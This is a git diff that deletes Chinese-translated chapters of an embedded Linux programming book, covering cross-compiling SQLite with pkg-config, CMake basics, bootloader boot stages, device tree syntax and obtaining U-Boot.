-``` - -您可能会发现最后一个命令失败,并出现文件权限错误。 Crossstool-NG 工具链默认是只读的,这就是为什么在构建它时将`CT_PREFIX_DIR_RO`设置为`y`很有用。 另一个常见问题是工具链安装在系统目录中,如`/opt`或`/usr/local`。 在这种情况下,您在运行安装时需要`root`权限。 - -安装后,您会发现个文件已添加到您的工具链中: - -* `/usr/bin: sqlite3`:这是 SQLite 的命令行界面,您可以在目标系统上安装和运行它。 -* `/usr/lib`:`libsqlite3.so.0.8.6`、`libsqlite3.so.0`、`libsqlite3.so`、`libsqlite3.la`、`libsqlite3.a`:这些是共享的 - 和静态库。 -* `/usr/lib/pkgconfig: sqlite3.pc`:这是包配置文件,如下节所述。 -* `/usr/lib/include: sqlite3.h`、`sqlite3ext.h`:这些是头文件。 -* `/usr/share/man/man1: sqlite3.1`:这是手册页。 - -现在,您可以通过在 -链接阶段添加`-lsqlite3`来编译使用`sqlite3`的程序: - -```sh -$ arm-cortex_a8-linux-gnueabihf-gcc -lsqlite3 sqlite-test.c -o sqlite-test -``` - -这里,`sqlite-test.c`是一个假想的调用 SQLite 函数的程序。 由于`sqlite3`已安装到`sysroot`中,因此编译器将毫不费力地找到头文件和库文件。 如果它们安装在其他地方,则必须添加`-L`和`-I`。 - -当然,还会有运行时依赖关系,您必须按照[*第 5 章*](05.html#_idTextAnchor122),*构建 -根文件系统*中所述,将适当的文件安装到目标目录中 -。 - -为了交叉编译库或包,它的依赖项首先需要进行 -交叉编译。 Autotools 依赖于名为`pkg-config`的实用程序来收集有关 Autotools 交叉编译的包的重要信息。 - -## 套餐配置 - -跟踪包依赖关系相当复杂。 Package 配置实用程序`pkg-config`([https://www.freedesktop.org/wiki/Software/pkg-config/](https://www.freedesktop.org/wiki/Software/pkg-config/))通过在`[sysroot]/usr/lib/pkgconfig`中保存 AutoTools 软件包的数据库,帮助跟踪安装了哪些软件包以及每个软件包所需的编译标志。 例如,SQLite3 的名称为`sqlite3.pc`,包含需要使用它的其他包所需的基本信息: - -```sh -$ cat $(arm-cortex_a8-linux-gnueabihf-gcc -print-sysroot)/usr/lib/pkgconfig/sqlite3.pc -# Package Information for pkg-config -prefix=/usr -exec_prefix=${prefix} -libdir=${exec_prefix}/lib -includedir=${prefix}/include -Name: SQLite -Description: SQL database engine -Version: 3.33.0 -Libs: -L${libdir} -lsqlite3 -Libs.private: -lm -ldl -lpthread -Cflags: -I${includedir} -``` - -您可以使用`pkg-config`以可以直接馈送到`gcc`的形式提取信息。 对于像`libsqlite3`这样的库,您需要知道库名(`--libs`)和任何特殊的 C 标志(`--cflags`): - -```sh -$ pkg-config sqlite3 --libs --cflags -Package sqlite3 was not found in the pkg-config search path. -Perhaps you should add the directory containing 'sqlite3.pc' -to the PKG_CONFIG_PATH environment variable -No package 'sqlite3' found -``` - -哎呀! 该操作失败,因为它正在查找主机的`sysroot`,而主机上尚未安装`libsqlite3`的开发包。 您需要通过设置`PKG_CONFIG_LIBDIR`外壳变量将其指向目标工具链的`sysroot`: - -```sh -$ export PKG_CONFIG_LIBDIR=$(arm-cortex_a8-linux-gnueabihf-gcc \ --print-sysroot)/usr/lib/pkgconfig -$ pkg-config sqlite3 --libs --cflags --lsqlite3 -``` - -现在输出为`-lsqlite3`。 在这种情况下,您已经知道了这一点,但通常您不会知道,所以这是一项有价值的技术。 要编译的最终命令如下 -: - -```sh -$ export PKG_CONFIG_LIBDIR=$(arm-cortex_a8-linux-gnueabihf-gcc \ --print-sysroot)/usr/lib/pkgconfig -$ arm-cortex_a8-linux-gnueabihf-gcc $(pkg-config sqlite3 --cflags --libs) \ -sqlite-test.c -o sqlite-test -``` - -许多配置脚本读取`pkg-config`生成的信息。 这可能会在交叉编译时导致错误,我们将在下面看到这一点。 - -## 交叉编译的问题 - -`sqlite3`是一个行为良好的包,可以很好地交叉编译,但并不是所有的包都是相同的。 典型的痛点包括以下: - -* 为库(如`zlib`)自行开发的构建系统,这些库具有与上一节中描述的 AutoTools`configure`不同的`configure`脚本 -* 配置从主机读取`pkg-config`信息、标头和其他文件的脚本,而不考虑`--host`覆盖 -* 坚持尝试运行交叉编译代码的脚本 - -每种情况都需要仔细分析错误和`configure`脚本的附加参数以提供正确的信息,或者对代码进行补丁以完全避免问题。 请记住,一个包可能有许多依赖项,特别是具有使用 GTK 或 Qt 的图形界面的程序,或者处理多媒体内容的程序。 例如,`mplayer`是一种流行的多媒体内容播放工具,它依赖于 100 多个库。 要把它们全部建造起来,需要几周的时间。 - -因此,我不建议以这种方式为目标手动交叉编译组件,除非别无选择或要构建的包数量很少。 更好的方法是使用 Buildroot 或 Yocto Project 等构建工具,或者通过为目标体系结构设置本地构建环境来完全避免这个问题。 现在您可以明白为什么像 Debian 这样的发行版总是本地编译的。 - -## ==同步,由 Elderman 更正==@ELDER_MAN - -CMake 更像是一个元构建系统,因为它依赖底层平台的本地工具来构建软件。 在 Windows 上,CMake 可以为 Microsoft Visual Studio 生成项目文件,在 MacOS 上,它可以为 Xcode 生成项目文件。 集成每个主要平台的主要 IDE 并非易事,这解释了 CMake 作为领先的跨平台构建系统解决方案的成功。 CMake 还可以在 Linux 上运行,它可以与您选择的交叉编译工具链结合使用。 - -要为本机 Linux 操作系统配置、构建和安装软件包,请运行以下命令: - -```sh -$ cmake . -$ make -$ sudo make install -``` - -在 Linux 上,本机构建工具是 GNU`make`,因此 CMake 默认生成 makefile 供我们构建。 通常,我们希望执行源代码外的构建,以便目标文件和其他构建构件与源文件保持分离。 - -要在名为`_build`的子目录中配置源代码外构建,请运行以下命令 -: - -```sh -$ mkdir _build -$ cd _build -$ cmake .. -``` - -这将在`CMakeLists.txt`所在的项目目录内的`_build`子目录中生成 makefile。 `CMakeLists.txt`文件相当于基于 AutoTools 的项目的`configure`脚本的 CMake。 - -然后,我们可以在`_build`目录内构建源代码外的项目,并像前面一样安装软件包: - -```sh -$ make -$ sudo make install -``` - -CMake 使用绝对路径,因此一旦生成了 makefile,就不能复制或移动`_build`子目录,否则后续的`make`步骤可能会失败。 请注意,CMake 默认将包安装到系统目录(如`/usr/bin`)中,即使是在源代码外的构建中也是如此。 - -要生成 makefile 以便`make`在`_build`子目录中安装程序包,请将前面的`cmake`命令替换为以下命令: - -```sh -$ cmake .. -D CMAKE_INSTALL_PREFIX=../_build -``` - -我们不再需要在`make install`前面加上`sudo`,因为我们不需要提升权限就可以将程序包文件复制到`_build`目录中。 - -类似地,我们可以使用另一个 CMake 命令行选项来生成用于交叉编译的生成文件: - -```sh -$ cmake .. -D CMAKE_C_COMPILER="/usr/local/share/x-tools/arm-cortex_a8-linux-gnueabihf-gcc" -``` - -但是,使用 CMake 进行交叉编译的最佳实践是创建一个工具链文件,该文件除了设置针对嵌入式 Linux 的其他相关变量外,还设置`CMAKE_C_COMPILER`和`CMAKE_CXX_COMPILER`。 - -当我们以模块化的方式设计软件时,CMake 通过在库和组件之间强制实施 -定义良好的 API 边界来工作得最好。 - -以下是在 CMake 中反复出现的一些关键术语: - -* `target`:软件组件,如库或可执行文件。 -* `properties`:包括构建目标所需的源文件、编译器选项和链接库。 -* `package`:一个配置外部构建目标的 CMake 文件,就像它是在您的`CMakeLists.txt`本身中定义的一样。 - -例如,如果我们有一个名为`dummy`的基于 CMake 的可执行文件,它需要依赖于 SQLite,我们可以定义以下`CMakeLists.txt`: - -```sh -cmake_minimum_required (VERSION 3.0) -project (Dummy) -add_executable(dummy dummy.c) -find_package (SQLite3) -target_include_directories(dummy PRIVATE ${SQLITE3_INCLUDE_DIRS}) -target_link_libraries (dummy PRIVATE ${SQLITE3_LIBRARIES}) -``` - -`find_package`命令搜索包(在本例中为`SQLite3`)并将其导入,以便可以将外部目标作为依赖项添加到`dummy`可执行文件的`target_link_libraries`列表中以进行链接。 - -CMake 为流行的 C 和 C++包(包括 OpenSSL、Boost 和 Protobuf)提供了大量的查找器,使本机开发比单纯使用 makefile 更有效率。 - -`PRIVATE`限定符可防止标头和标志等详细信息泄漏到`dummy`目标之外。 当构建的目标是库而不是可执行文件时,使用`PRIVATE`更有意义。 将目标视为模块,并在使用 CMake 定义您自己的目标时,尝试最小化其暴露的表面积。 只有在绝对必要时才使用`PUBLIC`限定符,并对仅包含标题的库使用`INTERFACE`限定符。 - -将您的应用建模为目标之间有边的依赖图。 该图不仅应该包括您的应用直接链接到的库,还应该包括任何可传递的依赖项。 为获得最佳效果,请删除图表中看到的所有循环或其他不必要的独立项。 通常,最好在开始编码之前执行此练习。 一个小小的计划就可以决定一个干净、易于维护的`CMakeLists.txt`和一个没人愿意碰的难以捉摸的烂摊子之间的区别。 - -# 摘要 - -工具链始终是您的起点;接下来的一切都依赖于拥有一个工作可靠的工具链。 - -您可以从一个工具链开始-可能使用 Crossstool-NG 构建或从 Linaro 下载-并使用它编译目标上需要的所有包。 或者,您可以使用 Buildroot 或 Yocto Project 等构建系统,将工具链作为从源代码生成的发行版的一部分获得。 当心作为硬件包的一部分免费提供给您的工具链或发行版;它们通常配置不佳且没有维护。 - -一旦拥有了工具链,您就可以使用它来构建嵌入式 Linux 系统的其他组件。 在下一章中,您将了解引导加载程序,它使您的设备栩栩如生,并开始引导过程。 我们将使用在本章中构建的工具链为 Beaglebone Black 构建一个有效的引导加载器。 - -# 进一步阅读 - -以下是几个视频,它们捕捉了跨工具链的最新技术,并在撰写本文时构建了系统: - -* *2020 年工具链和交叉编译器的新视角*,作者:Bernhard“Bero”Rosenkränzer:[https://www.youtube.com/watch?v=BHaXqXzAs0Y](https://www.youtube.com/watch?v=BHaXqXzAs0Y) -* *模块化设计的现代 CMake*,Mathieu Ropert: - [https://www.youtube.com/watch?v=eC9-iRN2b04](https://www.youtube.com/watch?v=eC9-iRN2b04) \ No newline at end of file diff --git a/docs/master-emb-linux-prog/03.md b/docs/master-emb-linux-prog/03.md deleted file mode 100644 index 39b86708..00000000 --- a/docs/master-emb-linux-prog/03.md +++ /dev/null @@ -1,881 +0,0 @@ -# 三、关于引导加载器的一切 - -引导加载程序是嵌入式 Linux 的第二个元素。 它是启动系统并加载操作系统内核的部分。 在本章中,我们将介绍引导加载程序的角色,特别是它如何使用称为**设备树**的数据结构(也称为**扁平设备树**或**FDT**)将控制从自身传递给内核。 我将介绍设备树的基础知识,因为这将帮助您遵循设备树中描述的连接,并将其与实际硬件相关联。 - -我将介绍流行的开源引导加载程序 U-Boot,并以 Beaglebone Black 为例向您展示如何使用它来引导目标设备,以及如何对其进行自定义以使其可以在新设备上运行。 - -在本章中,我们将介绍以下主题: - -* 引导加载程序做什么? -* 引导顺序 -* 从引导加载程序移到内核 -* 设备树简介 -* U-Boot - -我们开始吧! - -# 技术要求 - -要按照本章中的示例操作,请确保您具备以下条件: - -* 安装了`device-tree-compiler`、`git`、`make`、`patch`和`u-boot-tools`或其等效项的基于 Linux 的主机系统。 -* Beaglebone Black 的 Crosstool-NG 工具链,参见[*第 2 章*](02.html#_idTextAnchor029),*学习 - 关于工具链*。 -* 一种 MicroSD 卡读卡器和卡。 -* USB 转 TTL 3.3V 串行电缆 -* 比格尔博恩黑 -* 5V 1A 直流电源 - -本章将使用的所有代码都可以在本书 GitHub 存储库的`Chapter03`文件夹中找到:[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition)。 - -# 引导加载程序做什么? - -在嵌入式 Linux 系统中,BootLoader 有两个主要工作:将系统初始化为基本级别和加载内核。 事实上,第一个作业在某种程度上从属于第二个作业,因为它只需要让系统工作到加载内核所需的程度即可。 - -当执行引导加载程序代码的第一行时,在通电或重置之后,系统处于非常小的状态。 未设置 DRAM 控制器,因此无法访问主内存。 同样,其他接口未配置,因此通过 NAND 闪存控制器、MMC 控制器等访问的存储不可用。 通常,开始时唯一可操作的资源是单 CPU 内核、一些片上静态存储器和引导 ROM。 - -系统引导由几个阶段的代码组成,每个阶段都会使更多的系统投入运行。 引导加载程序的最后一个动作是将内核加载到 RAM 中,并为其创建一个执行环境。 引导加载器和内核之间接口的细节是特定于体系结构的,但在每种情况下,它都必须做两件事。 首先,引导加载程序必须传递一个指向包含有关硬件配置信息的结构的指针。 其次,它必须传递一个指向内核命令行的指针。 - -内核命令行是控制 Linux 行为的文本字符串。 一旦内核开始执行,就不再需要引导加载程序,并且它正在使用的所有内存都可以回收。 - -引导加载器的一项辅助工作是提供维护模式,用于更新引导配置、将新引导映像加载到内存中,可能还包括运行诊断。 这通常由简单的命令行用户界面控制,通常通过串行控制台。 - -# 引导顺序 - -在更简单的时候,几年前,只需要将引导加载程序放在非易失性存储器中处理器的重置向量处。 **NOR 闪存**在当时很常见,因为它可以直接映射到地址空间,所以它是理想的存储方法。 下图显示了这样的配置,闪存区域顶端的`0xfffffffc`处有**复位矢量**。 引导加载器被链接,以便在该位置有一个指向引导加载器代码开始的跳转指令: - -![Figure 3.1 – NOR flash](img/Figure_3.1_B11566.jpg) - -图 3.1-NOR 闪光灯 - -从那时起,在 NOR 闪存中运行的引导加载程序代码可以初始化 DRAM 控制器,以便主存储器(**DRAM**)变为可用,然后将其自身复制到 DRAM 中。 一旦完全运行,引导加载程序就可以将内核从闪存加载到 DRAM 中,并将控制权移交给它。 - -然而,一旦您离开了简单的线性可寻址存储介质(如 NOR 闪存),引导序列就会变成一个复杂的多阶段过程。 细节对于每个 SoC 都是非常具体的,但它们通常遵循以下每个阶段。 - -## 阶段 1-ROM 代码 - -在没有可靠的外部存储器的情况下,在 -复位或上电后立即运行的代码必须存储在 SoC 中的芯片上;这称为**ROM 代码**。 它在制造时被加载到芯片中,因此 ROM 代码是专有的,不能被开源的等价物取代。 通常,它不包括初始化存储器控制器的代码,因为 DRAM 配置高度特定于器件,因此它只能使用不需要存储器控制器的**静态随机存取存储器**(**SRAM**)。 - -大多数嵌入式 SoC 设计都有少量的片内 SRAM,大小从 4 KB 到几百 KB 不等: - -![Figure 3.2 – Phase 1 – ROM code](img/Figure_3.2_B11566.jpg) - -图 3.2-阶段 1-ROM 代码 - -ROM 代码能够将一小块代码从几个预编程位置之一加载到 SRAM 中。 例如,TI OMAP 和 Sitara 芯片尝试从 NAND 闪存的前几页加载代码,或者从通过**串行外设接口**(**SPI**)连接的闪存加载代码,或者从 MMC 设备(可以是 eMMC 芯片或 SD 卡)的第一个扇区加载代码,或者从 MMC 设备的第一个分区上名为`MLO`的文件加载代码。 如果从所有这些存储设备读取失败,则会尝试从以太网、USB 或 UART 读取字节流;后者主要用于在生产过程中将代码加载到闪存中,而不是用于正常操作。 大多数嵌入式 SoC 都有以类似方式工作的 ROM 代码。 在 SRAM 不足以加载完整引导加载程序(如 U-Boot)的 SoC 中,必须有一个称为**辅助程序加载程序**(**SPL**)的中间加载程序。 - -在 ROM 代码阶段结束时,SPL 出现在 SRAM 中,并且 ROM 代码跳转到该代码的开头。 - -## 阶段 2-辅助程序加载器 - -SPL 必须设置存储器控制器和系统的其他基本部件,为将**第三级程序加载程序**(**TPL**)加载到 DRAM 做好准备。 SPL 的功能受 SRAM 大小的限制。 它可以从存储设备列表中读取程序,就像 ROM 代码一样,再次使用从闪存设备开始处预先编程的偏移量。 如果 SPL 内置了文件系统驱动程序,它可以从磁盘分区读取众所周知的文件名,比如`u-boot.img`。 SPL 通常不允许任何用户交互,但它可能会打印版本信息和进度消息,您可以在控制台上看到这些信息。 下图说明了第 2 阶段架构: - -![Figure 3.3 – Phase 2 – SPL](img/Figure_3.3_B11566.jpg) - -图 3.3-阶段 2-SPL - -上图显示了从 ROM 代码到 SPL 的跳转。 当 SPL 在 SRAM 中执行时,它会将 TPL 加载到 DRAM 中。 在第二阶段结束时,TPL 出现在 DRAM 中,SPL 可以跳转到该区域。 - -SPL 可能是开源的源代码,就像 TI x-Loader 和 Atmel AT91Bootstrap 一样,但它包含由制造商以二进制 BLOB 形式提供的专有代码是很常见的。 - -## 第三阶段-第三方物流 - -此时,我们正在运行一个完整的引导加载程序,例如 U-Boot,我们将在本章的后面部分了解它。 通常,有一个简单的命令行用户界面,允许您执行维护任务,例如将新的引导和内核映像加载到闪存中,以及加载和引导内核,并且有一种无需用户干预的自动加载内核的方法。 - -下图说明了阶段 3 架构: - -![Figure 3.4 – Phase 3 – TPL](img/Figure_3.4_B11566.jpg) - -图 3.4-阶段 3-第三方物流 - -上图显示了从 SRAM 中的 SPL 到 DRAM 中的 TPL 的跳变。 当 TPL 执行时,它将内核加载到 DRAM 中。 如果需要,我们还可以选择将 FDT 和/或初始 RAM 磁盘附加到 DRAM 中的映像。 无论哪种方式,在第三阶段结束时,内存中都有一个内核等待启动。 - -一旦内核运行,嵌入式引导加载程序通常就会从内存中消失,并且不再参与系统的操作。 在此之前,TPL 需要将引导过程的控制权移交给内核。 - -# 从引导加载程序移到内核 - -当引导加载程序将控制权传递给内核时,它必须传递一些基本信息,其中包括以下内容: - -* 在不支持设备树的 PowerPC 和 ARM 平台上使用的*机器号*,用于标识 SoC 的类型。 -* 到目前为止检测到的硬件的基本细节,包括(至少)物理 RAM 的大小和位置以及 CPU 的时钟速度。 -* 内核命令行。 -* 设备树二进制文件的位置和大小(可选)。 -* 还可以选择初始 RAM 磁盘的位置和大小,称为**初始 RAM 文件系统**(**initramfs**)。 - -内核命令行是一个纯 ASCII 字符串,它通过给出例如包含根文件系统的设备的名称来控制 Linux 的行为。 我们将在下一章中详细介绍这一点。 通常将根文件系统作为 RAM 磁盘提供,在这种情况下,引导加载程序负责将 RAM 磁盘映像加载到内存中。 我们将在[*第 5 章*](05.html#_idTextAnchor122),*构建根文件系统*中介绍如何创建初始 RAM 磁盘。 - -此信息的传递方式取决于体系结构,并且在最近几年发生了变化。 例如,在 PowerPC 中,引导加载器只是用来传递指向电路板信息结构的指针,而在 ARM 中,它只传递指向*A 标记列表*的指针。 在`Documentation/arm/Booting`中对内核源代码中的 A 标签格式有很好的描述。 - -在这两种情况下,传递的信息量都非常有限,只剩下大部分信息在运行时被发现,或者作为**平台数据**硬编码到内核中。 平台数据的广泛使用意味着每个主板都必须为该平台配置和修改内核。 需要一种更好的方式,那就是设备树。 在 ARM 领域,从 2013 年 2 月开始,随着 Linux3.8 的发布,正式开始了对 A 标签的淘汰。 今天,几乎所有的 ARM 系统都使用设备树来收集有关硬件平台细节的信息,从而允许单个内核二进制文件在广泛的这些平台上运行。 - -现在我们已经了解了引导加载器的作用、引导序列的各个阶段以及它如何将控制权传递给内核,接下来让我们学习如何配置引导加载器,使其能够在流行的嵌入式 SoC 上运行。 - -# 设备树简介 - -如果您使用的是 ARM 或 PowerPC SoC,您几乎肯定会在某个时候遇到设备树。 本节旨在让您快速了解它们是什么以及它们是如何工作的。 在本书的整个过程中,我们将反复回顾设备树的主题。 - -设备树是定义计算机系统硬件组件的一种灵活方式。 请记住,设备树只是静态数据,而不是可执行代码。 通常,设备树由引导加载程序加载并传递给内核,尽管也可以将设备树与内核映像本身捆绑在一起,以满足无法单独加载它们的引导加载程序的需要。 - -该格式派生自 Sun Microsystems 引导加载程序(称为**OpenBoot**),该引导加载程序被正式化为开放固件规范,该规范是 IEEE 标准 IEEE1275-1994。 它用于基于 PowerPC 的 Macintosh 计算机,因此是 PowerPC Linux 端口的合理选择。 从那时起,它被许多 ARM Linux 实现大规模采用,在较小程度上被 MIPS、MicroBlaze、ARC 和其他体系结构采用。 - -我建议访问[https://www.devicetree.org](https://www.devicetree.org)了解更多信息。 - -## 设备树基础知识 - -Linux 内核在`arch/$ARCH/boot/dts`中包含大量的设备树源文件,这是学习设备树的一个很好的起点。 在`arch/$ARCH/dts`中的 U-boot 源代码中也有较少数量的源代码。 如果您的硬件是从第三方购买的,`dts`文件构成主板支持包的一部分,因此您应该会收到一个源文件和其他源文件。 - -设备树将计算机系统表示为在层次结构(如树)中连接在一起的组件的集合。 设备树以根节点开始,该根节点由正斜杠`/`表示,它包含表示系统硬件的后续节点。 每个节点都有一个名称,并包含许多格式为`name = "value"`的属性。 下面是一个简单的例子: - -```sh -/dts-v1/; -/{ -    model = "TI AM335x BeagleBone"; -    compatible = "ti,am33xx"; -    #address-cells = <1>; -    #size-cells = <1>; -    cpus { -        #address-cells = <1>; -        #size-cells = <0>; -        cpu@0 { -            compatible = "arm,cortex-a8"; -            device_type = "cpu"; -            reg = <0>; -        }; -    }; -    memory@0x80000000 { -        device_type = "memory"; -        reg = <0x80000000 0x20000000>; /* 512 MB */ -    }; -}; -``` - -这里,我们有一个根节点,它包含一个`cpus`节点和一个`memory`节点。 `cpus`节点包含名为`cpu@0`的单个 CPU 节点。 这些节点的名称通常包括一个`@`,后跟一个地址,该地址将该节点与其他相同类型的节点区分开来。 如果节点具有`reg`属性,则需要`@`。 - -根节点和 CPU 节点都有`compatible`属性。 Linux 内核使用此属性来查找匹配的设备驱动程序,方法是将其与由`of_device_id`结构中的每个设备驱动程序导出的字符串进行比较(更多信息请参见[*第 11 章*](11.html#_idTextAnchor329),*与设备驱动程序*接口)。 - -重要注 - -按照惯例,`compatible`属性的值由制造商名称和组件名称组成,以减少不同制造商制造的类似设备之间的混淆;因此,`ti,am33xx`和`arm,cortex-a8`。 在有多个驱动程序可以处理此设备的情况下,`compatible`属性有多个值也很常见。 它们被列出,最合适的列在前面。 - -CPU 节点和内存节点有一个`device_type`属性,该属性描述设备的类别。 节点名称通常派生自`device_type`。 - -## reg 属性 - -前面显示的`memory`和`cpu`节点具有`reg`属性,该属性引用寄存器空间中的单元范围。 `reg`属性由表示实际物理地址和范围大小(长度)的两个值组成。 两者都被写成零个或多个个 32 位整数,称为单元。 因此,前面的`memory`节点指的是从`0x80000000`开始、长度为`0x20000000`字节的单个内存库。 - -当地址或大小值不能用 32 位表示时,理解`reg`属性变得更加复杂。 例如,在采用 64 位寻址的设备上,每个单元需要两个单元: - -```sh -/{ -    #address-cells = <2>; -    #size-cells = <2>; -    memory@80000000 { -        device_type = "memory"; -        reg = <0x00000000 0x80000000 0 0x80000000>; -    }; -}; -``` - -有关所需单元格数量的信息保存在祖先节点的`#address-cells`和`#size_cells`属性中。 换句话说,要理解`reg`属性,必须向下查看节点层次结构,直到找到`#address-cells`和`#size_cells`。 如果没有,则每个的缺省值都是`1`-但设备树编写器依赖缺省值是不好的做法。 - -现在,让我们回到`cpu`和`cpus`节点。 CPU 也有地址;在四核设备中,它们可能被寻址为 0、1、2 和 3。这可以被认为是没有任何深度的一维数组,因此大小为零。 因此,您可以看到,在`cpus`节点中有`#address-cells = <1>`和`#size-cells = <0>`,在子节点`cpu@0`中,我们为`reg`属性`reg = <0>`分配了一个值。 - -## 标签和中断 - -到目前为止,我们已经描述的设备树的结构假设组件只有一个层次结构,而实际上有几个。 除了组件和系统的其他部分之间明显的数据连接之外,它还可以连接到中断控制器、时钟源和电压调节器。 为了表示这些连接,我们可以向一个节点添加一个标签,然后从其他节点引用该标签。 这些标签有时被称为**管脚**,因为当编译设备树时,具有来自另一个节点的引用的节点在称为`phandle`的属性中被分配一个唯一的数值。 如果反编译设备树二进制文件,就可以看到它们。 - -以包含可产生`interrupts`和`interrupt-controller`的 LCD 控制器的系统为例: - -```sh -/dts-v1/; -{ -    intc: interrupt-controller@48200000 { -        compatible = "ti,am33xx-intc"; -        interrupt-controller; -        #interrupt-cells = <1>; -        reg = <0x48200000 0x1000>; -    }; -    lcdc: lcdc@4830e000 { -        compatible = "ti,am33xx-tilcdc"; -        reg = <0x4830e000 0x1000>; -        interrupt-parent = <&intc>; -        interrupts = <36>; -        ti,hwmods = "lcdc"; -        status = "disabled"; -    }; -}; -``` - -这里,我们有一个标签为`intc`的`interrupt-controller@48200000`节点。 `interrupt-controller`属性将其标识为中断控制器。 与所有中断控制器一样,它有一个`#interrupt-cells`属性,该属性告诉我们需要多少个单元来表示中断源。 在这种情况下,只有一个代表**中断请求**(**IRQ**)编号。 其他中断控制器可以使用额外的单元来表征中断;例如,用来指示它是边沿触发还是电平触发。 每个中断控制器的绑定中描述了中断单元的数量及其含义。 设备树绑定可以在 Linux 内核源代码中的`Documentation/devicetree/bindings/`目录中找到。 - -查看`lcdc@4830e000`节点,它有一个`interrupt-parent`属性,该属性使用标签引用它所连接的中断控制器。 它还有一个`interrupts`属性,在本例中为`36`。 请注意,该节点有自己的标签`lcdc`,该标签在其他地方使用:任何节点都可以有一个标签。 - -## 设备树包括文件 - -许多硬件在同一系列的 SoC 之间以及使用相同 SoC 的电路板之间是通用的。 这反映在设备树中,方法是将公共部分拆分成包含文件,通常扩展名为`.dtsi`。 Open Firmware 标准将`/include/`定义为要使用的机制,如`vexpress-v2p-ca9.dts`中的以下代码片段所示: - -```sh -/include/ "vexpress-v2m.dtsi" -``` - -不过,请查看内核中的`.dts`文件,您会发现另一个借用自 C 的`include`语句;例如,在`am335x-boneblack.dts`中: - -```sh -#include "am33xx.dtsi" -#include "am335x-bone-common.dtsi" -``` - -下面是`am33xx.dtsi`中的另一个示例: - -```sh -#include -#include -#include -``` - -最后,`include/dt-bindings/pinctrl/am33xx.h`包含普通的 C 宏: - -```sh -#define PULL_DISABLE       (1 << 3) -#define INPUT_EN           (1 << 5) -#define SLEWCTRL_SLOW      (1 << 6) -#define SLEWCTRL_FAST       0 -``` - -如果使用 Kbuild 系统构建设备树源,则所有这些问题都可以解决,Kbuild 系统通过 C 预处理器 cpp 运行它们,在 cpp 中,`#include`和`#define`语句被处理成适合于设备树编译器的文本。 此动机在前面的示例中进行了说明;这意味着设备树源可以使用与内核代码相同的常量定义。 - -当我们使用任一语法包含文件时,节点会一个接一个地重叠,以创建一个复合树,在该树中外层扩展或修改内部层。 例如,通用于所有`am33xx`SoC 的`am33xx.dtsi`定义了第一个 MMC 控制器接口,如下所示: - -```sh -mmc1: mmc@48060000 { -    compatible = "ti,omap4-hsmmc"; -    ti,hwmods = "mmc1"; -    ti,dual-volt; -    ti,needs-special-reset; -    ti,needs-special-hs-handling; -    dmas = <&edma_xbar 24 0 0 -        &edma_xbar 25 0 0>; -    dma-names = "tx", "rx"; -    interrupts = <64>; -    reg = <0x48060000 0x1000>; -    status = "disabled"; -}; -``` - -请注意,`status`是`disabled`,这意味着没有设备驱动程序应该绑定到它,而且它的标签是`mmc1`。 - -Beaglebone 和 Beaglebone Black 都有一个连接到`mmc1`的 microSD 卡接口。 这就是为什么在`am335x-bone-common.dtsi`中,相同的节点由其标签引用;即`&mmc1`: - -```sh -&mmc1 { -    status = "okay"; -    bus-width = <0x4>; -    pinctrl-names = "default"; -    pinctrl-0 = <&mmc1_pins>; -    cd-gpios = <&gpio0 6 GPIO_ACTIVE_LOW>; -}; -``` - -`status`属性设置为`okay`,这会导致 MMC 设备驱动程序在运行时与 Beaglebone 的两个变体上的此接口绑定。 此外,对标签的引用被添加到管脚控制配置`mmc1_pins`。 唉,这里没有足够的篇幅来描述管脚控制和管脚复用。 您可以在`Documentation/devicetree/bindings/pinctrl`目录中的 Linux 内核源代码中找到一些信息。 - -但是,`mmc1`接口连接到 Beaglebone Black 上的不同电压调节器。 这以`am335x-boneblack.dts`表示,其中您将看到另一个对`mmc1`的引用,该引用通过`vmmcsd_fixed`标签将其与电压调节器相关联: - -```sh -&mmc1 { -    vmmc-supply = <&vmmcsd_fixed>; -}; -``` - -因此,像这样对设备树源文件进行分层为我们提供了灵活性,并减少了对重复代码的需要。 - -## 编译设备树 - -引导加载程序和内核需要设备树的二进制表示,因此必须使用设备树编译器进行编译;即`dtc`。 结果是一个以`.dtb`结尾的文件,它被称为设备树二进制或设备树 BLOB。 - -Linux 源代码中的`scripts/dtc/dtc`中有一份`dtc`的副本,许多 Linux 发行版上也提供了它的软件包。 您可以使用它编译一个简单的设备树(不使用`#include`的设备树),如下所示: - -```sh -$ dtc simpledts-1.dts -o simpledts-1.dtb -DTC: dts->dts on file "simpledts-1.dts" -``` - -请注意,`dtc`不会给出有用的错误消息,也不会检查语言的基本语法,这意味着调试源文件中的键入错误可能是一个漫长的过程。 - -要构建更复杂的示例,您必须使用 Kbuild 内核,如[*第 4 章*](04.html#_idTextAnchor085),*配置和构建内核*中所示。 - -与内核一样,引导加载程序可以使用设备树来初始化嵌入式 SoC 及其外围设备。 当您从大容量存储设备(如 QSPI 闪存)加载内核时,此设备树非常关键。 虽然嵌入式 Linux 提供了引导加载程序的选择,但我们将只介绍其中一个。 接下来,我们将深入研究该引导加载程序。 - -# U-Boot - -我们将专门关注 U-Boot,因为它支持大量的处理器架构以及大量的单板和设备。 它已经存在了很长一段时间,并且有一个很好的社区来支持它。 - -U-Boot,或者全称为**Das U-Boot**,最初是一个用于嵌入式 PowerPC 板的开源引导加载程序。 然后,它被移植到基于 ARM 的主板上,后来又移植到其他架构上,包括 MIPS 和 SH。 它由 Denx 软件工程公司托管和维护。 上面有很多可用的信息,一个很好的起点是[https://www.denx.de/wiki/U-Boot](https://www.denx.de/wiki/U-Boot)。 还有一个邮件列表,地址是[u-BOOT@lists.denx.de](mailto:u-boot@lists.denx.de),您可以通过填写并提交[https://lists.denx.de/listinfo/u-boot](https://lists.denx.de/listinfo/u-boot)提供的表单来订阅。 - -## 建筑 U-Boot - -从获取源代码开始。 与大多数项目一样,推荐的方法是克隆`.git`存档并签出您想要使用的标记-在本例中,该标记是撰写本文时的最新版本: - -```sh -$ git clone git://git.denx.de/u-boot.git -$ cd u-boot -$ git checkout v2021.01 -``` - -或者,您可以从[ftp://ftp.denx.de/pub/u-boot](ftp://ftp.denx.de/pub/u-boot)获得一个 tarball。 - -在`configs/`目录中有 1,000 多个通用开发板和设备的配置文件。 在大多数情况下,您可以根据文件名很好地猜测使用哪个文件,但您可以通过查看`board/`目录中的每个单板的`README`文件来获得更详细的信息,或者您可以在适当的网络教程或论坛中找到信息。 - -以 Beaglebone Black 